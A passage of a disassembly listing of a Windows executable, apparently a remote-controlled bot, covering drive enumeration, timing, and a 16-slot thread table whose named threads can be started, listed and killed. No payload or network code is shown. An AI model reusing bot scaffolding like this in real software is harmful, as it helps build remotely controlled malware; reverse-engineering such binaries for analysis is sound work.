		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_40907D
; ---------------------------------------------------------------------------

loc_40906A:				; CODE XREF: sub_408F2E+10Dj
					; sub_408F2E+116j
		push	8
		push	0
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch

loc_40907D:				; CODE XREF: sub_408F2E+13Aj
		push	0
		push	100000h
		push	[ebp+var_428]
		push	[ebp+var_42C]
		call	sub_416C90
		mov	[ebp+var_42C], eax
		mov	[ebp+var_428], edx
		cmp	[ebp+var_410], 0
		jnz	short loc_4090BF
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	short loc_4090C6
; ---------------------------------------------------------------------------

loc_4090BF:				; CODE XREF: sub_408F2E+17Aj
		and	[ebp+var_410], 0

loc_4090C6:				; CODE XREF: sub_408F2E+18Fj
		mov	eax, [ebp+var_42C]
		or	eax, [ebp+var_428]
		test	eax, eax
		jz	short loc_40910A
		push	[ebp+var_428]
		push	[ebp+var_42C]
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193E4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_409130
; ---------------------------------------------------------------------------

loc_40910A:				; CODE XREF: sub_408F2E+1A6j
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193D4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h

loc_409130:				; CODE XREF: sub_408F2E+1DAj
		mov	eax, [ebp+var_42C]
		mov	ecx, [ebp+var_414]
		add	ecx, eax
		mov	[ebp+var_414], ecx
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax

loc_409151:				; CODE XREF: sub_408F2E+92j
					; sub_408F2E+9Fj
		mov	al, byte ptr [ebp+var_424]
		add	al, 1
		mov	byte ptr [ebp+var_424],	al
		movsx	eax, byte ptr [ebp+var_424]
		cmp	eax, 5Ah
		jnz	loc_408FA6
		cmp	[ebp+var_5D8], 0
		jz	short loc_40918B
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx

loc_40918B:				; CODE XREF: sub_408F2E+248j
		push	[ebp+var_414]
		push	[ebp+var_5D8]
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_41939C
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_408F2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091E2	proc near		; CODE XREF: sub_40A9CF+1C61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4091FC
		jmp	short locret_409224
; ---------------------------------------------------------------------------

loc_4091FC:				; CODE XREF: sub_4091E2+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408F2E
		call	sub_4095A4
		add	esp, 10h

locret_409224:				; CODE XREF: sub_4091E2+18j
		leave
		retn
sub_4091E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409226	proc near		; CODE XREF: sub_4167F1+215p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_40928E
		jg	short loc_40924E
		cmp	[ebp+var_8], 0
		jbe	short loc_40928E

loc_40924E:				; CODE XREF: sub_409226+20j
		cmp	[ebp+var_C], 0
		jl	short loc_40928E
		jg	short loc_40925C
		cmp	[ebp+var_10], 0
		jbe	short loc_40928E

loc_40925C:				; CODE XREF: sub_409226+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		mov	dword_41E2D0, eax
		jmp	short locret_4092A2
; ---------------------------------------------------------------------------

loc_40928E:				; CODE XREF: sub_409226+1Ej
					; sub_409226+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_41E2D0, eax

locret_4092A2:				; CODE XREF: sub_409226+66j
		leave
		retn
sub_409226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A4	proc near		; CODE XREF: sub_4083AD+61p
					; sub_40A9CF+1CCAp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409307
		jg	short loc_4092CC
		cmp	[ebp+var_8], 0
		jbe	short loc_409307

loc_4092CC:				; CODE XREF: sub_4092A4+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409307
		jg	short loc_4092DA
		cmp	[ebp+var_10], 0
		jbe	short loc_409307

loc_4092DA:				; CODE XREF: sub_4092A4+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		jmp	short locret_409316
; ---------------------------------------------------------------------------

loc_409307:				; CODE XREF: sub_4092A4+1Ej
					; sub_4092A4+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

locret_409316:				; CODE XREF: sub_4092A4+61j
		leave
		retn
sub_4092A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409318	proc near		; CODE XREF: sub_408B30:loc_408BBCp
					; sub_40A9CF:loc_40C715p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409381
		jg	short loc_409340
		cmp	[ebp+var_8], 0
		jbe	short loc_409381

loc_409340:				; CODE XREF: sub_409318+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409381
		jg	short loc_40934E
		cmp	[ebp+var_10], 0
		jbe	short loc_409381

loc_40934E:				; CODE XREF: sub_409318+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		sub	eax, dword_41E2D0
		jmp	short locret_40938D
; ---------------------------------------------------------------------------

loc_409381:				; CODE XREF: sub_409318+1Ej
					; sub_409318+26j ...
		call	dword_4170D0	; GetTickCount
		sub	eax, dword_41E2D0

locret_40938D:				; CODE XREF: sub_409318+67j
		leave
		retn
sub_409318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938F	proc near		; CODE XREF: sub_4167F1+D5p
		push	ebp
		mov	ebp, esp
		and	dword_41E2F0, 0
		push	1980h
		call	sub_416B46	; malloc
		pop	ecx
		mov	dword_41E2F8, eax
		push	offset dword_41E2D8
		call	sub_409C36
		pop	ecx
		pop	ebp
		retn
sub_40938F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093B6	proc near		; DATA XREF: sub_409479+35o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417278
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_20]
		call	dword_4170DC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_409431
		cmp	dword_41DE38, 0
		jz	short loc_40942F
		push	[ebp+var_20]
		push	offset dword_419474
		push	offset dword_41DAB4
		call	sub_40D4AB
		add	esp, 0Ch

loc_40942F:				; CODE XREF: sub_4093B6+62j
		jmp	short loc_409443
; ---------------------------------------------------------------------------

loc_409431:				; CODE XREF: sub_4093B6+59j
		push	[ebp+var_1C]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]
		jmp	short loc_409468
; ---------------------------------------------------------------------------

loc_409443:				; CODE XREF: sub_4093B6:loc_40942Fj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_409466
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh

loc_409466:				; CODE XREF: sub_4093B6+91j
		xor	eax, eax

loc_409468:				; CODE XREF: sub_4093B6+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4093B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409479	proc near		; CODE XREF: sub_40764D+14Ap
					; sub_409BF1+2Fp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	8
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_409494
		xor	eax, eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------

loc_409494:				; CODE XREF: sub_409479+15j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_C]
		push	offset sub_4093B6
		push	20000h
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4094D9
		push	[ebp+var_4]
		call	dword_4170A4	; CloseHandle
		push	1
		pop	eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------

loc_4094D9:				; CODE XREF: sub_409479+50j
		push	[ebp+var_C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax

locret_4094E4:				; CODE XREF: sub_409479+19j
					; sub_409479+5Ej
		leave
		retn
sub_409479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094E6	proc near		; DATA XREF: sub_4095A4+159o

var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417288
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_41DE30
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+10h]
		mov	[ebp+var_1A0], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		mov	[ebp+var_1A4], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1A4]
		jmp	short loc_409593
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax

loc_409593:				; CODE XREF: sub_4094E6+8Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4094E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A4	proc near		; CODE XREF: sub_4017AA+A2p
					; sub_401D6E+8Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		cmp	dword_41E2F0, 10h
		jnz	short loc_4095D9
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------

loc_4095D9:				; CODE XREF: sub_4095A4+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_409627
		and	[ebp+var_10], 0
		jmp	short loc_4095EC
; ---------------------------------------------------------------------------

loc_4095E5:				; CODE XREF: sub_4095A4:loc_409625j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax

loc_4095EC:				; CODE XREF: sub_4095A4+3Fj
		cmp	[ebp+var_10], 10h
		jge	short loc_409627
		mov	eax, [ebp+var_10]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	eax, [ecx+eax+10h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409625
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------

loc_409625:				; CODE XREF: sub_4095A4+64j
		jmp	short loc_4095E5
; ---------------------------------------------------------------------------

loc_409627:				; CODE XREF: sub_4095A4+39j
					; sub_4095A4+4Cj
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		jmp	short loc_409638
; ---------------------------------------------------------------------------

loc_409631:				; CODE XREF: sub_4095A4:loc_409672j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_409638:				; CODE XREF: sub_4095A4+8Bj
		cmp	[ebp+var_8], 10h
		jge	short loc_409674
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jnz	short loc_409672
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_409674
; ---------------------------------------------------------------------------

loc_409672:				; CODE XREF: sub_4095A4+AEj
		jmp	short loc_409631
; ---------------------------------------------------------------------------

loc_409674:				; CODE XREF: sub_4095A4+98j
					; sub_4095A4+CCj
		cmp	[ebp+var_C], 0
		jnz	short loc_409695
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------

loc_409695:				; CODE XREF: sub_4095A4+D4j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096A3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx

loc_4096A3:				; CODE XREF: sub_4095A4+F5j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_C]
		add	eax, 14h
		push	eax
		call	sub_416DC6	; vsprintf
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+4], 0
		mov	eax, dword_41E2F0
		inc	eax
		mov	dword_41E2F0, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_4096EB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		jmp	short loc_4096F1
; ---------------------------------------------------------------------------

loc_4096EB:				; CODE XREF: sub_4095A4+13Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax

loc_4096F1:				; CODE XREF: sub_4095A4+145j
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		push	eax
		push	0
		push	[ebp+var_14]
		push	offset sub_4094E6
		push	0
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	ecx, [ebp+var_C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_409753
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		push	198h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short locret_409761
; ---------------------------------------------------------------------------

loc_409753:				; CODE XREF: sub_4095A4+177j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		push	1
		pop	eax

locret_409761:				; CODE XREF: sub_4095A4+30j
					; sub_4095A4+7Cj ...
		leave
		retn
sub_4095A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409763	proc near		; CODE XREF: sub_401244+73p
					; sub_401244+547p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	dword_4170A4	; CloseHandle
		push	198h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		pop	ebp
		retn
sub_409763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097A7	proc near		; CODE XREF: sub_40A9CF+EBFp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4097BB
		jmp	locret_4098F1
; ---------------------------------------------------------------------------

loc_4097BB:				; CODE XREF: sub_4097A7+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409825
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	dword ptr [ecx+eax+4], 1

loc_409815:				; CODE XREF: sub_4097A7+3Fj
					; sub_4097A7+55j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		jmp	locret_4098F1
; ---------------------------------------------------------------------------

loc_409825:				; CODE XREF: sub_4097A7+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2F0
		mov	[ebp+var_8], eax
		and	[ebp+var_194], 0
		jmp	short loc_40986A
; ---------------------------------------------------------------------------

loc_40985D:				; CODE XREF: sub_4097A7:loc_4098E1j
		mov	eax, [ebp+var_194]
		inc	eax
		mov	[ebp+var_194], eax

loc_40986A:				; CODE XREF: sub_4097A7+B4j
		cmp	[ebp+var_194], 10h
		jnb	short loc_4098E6
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4098E1
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4098D9
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	dword ptr [ecx+eax+4], 1

loc_4098D9:				; CODE XREF: sub_4097A7+116j
		cmp	[ebp+var_8], 0
		jnz	short loc_4098E1
		jmp	short loc_4098E6
; ---------------------------------------------------------------------------

loc_4098E1:				; CODE XREF: sub_4097A7+E3j
					; sub_4097A7+136j
		jmp	loc_40985D
; ---------------------------------------------------------------------------

loc_4098E6:				; CODE XREF: sub_4097A7+CAj
					; sub_4097A7+138j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx

locret_4098F1:				; CODE XREF: sub_4097A7+Fj
					; sub_4097A7+79j
		leave
		retn
sub_4097A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F3	proc near		; CODE XREF: sub_40A9CF+F13p

var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 19Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_409907
		jmp	locret_409AD3
; ---------------------------------------------------------------------------

loc_409907:				; CODE XREF: sub_4098F3+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	loc_4099B4
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_4099A4
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4099A4
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_8], eax
		push	198h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_8]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

loc_4099A4:				; CODE XREF: sub_4098F3+43j
					; sub_4098F3+59j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		jmp	locret_409AD3
; ---------------------------------------------------------------------------

loc_4099B4:				; CODE XREF: sub_4098F3+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2F0
		mov	[ebp+var_C], eax
		and	[ebp+var_198], 0
		jmp	short loc_4099F9
; ---------------------------------------------------------------------------

loc_4099EC:				; CODE XREF: sub_4098F3:loc_409AC3j
		mov	eax, [ebp+var_198]
		inc	eax
		mov	[ebp+var_198], eax

loc_4099F9:				; CODE XREF: sub_4098F3+F7j
		cmp	[ebp+var_198], 10h
		jnb	loc_409AC8
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	loc_409AC3
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_194]
		push	eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409ABB
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_19C], eax
		push	198h
		push	0
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_19C]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_19C]
		call	dword_4170A4	; CloseHandle

loc_409ABB:				; CODE XREF: sub_4098F3+161j
		cmp	[ebp+var_C], 0
		jnz	short loc_409AC3
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------

loc_409AC3:				; CODE XREF: sub_4098F3+12Aj
					; sub_4098F3+1CCj
		jmp	loc_4099EC
; ---------------------------------------------------------------------------

loc_409AC8:				; CODE XREF: sub_4098F3+10Dj
					; sub_4098F3+1CEj
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx

locret_409AD3:				; CODE XREF: sub_4098F3+Fj
					; sub_4098F3+BCj
		leave
		retn
sub_4098F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD5	proc near		; DATA XREF: sub_409BF1+2Ao

var_1A8		= byte ptr -1A8h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	1A3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
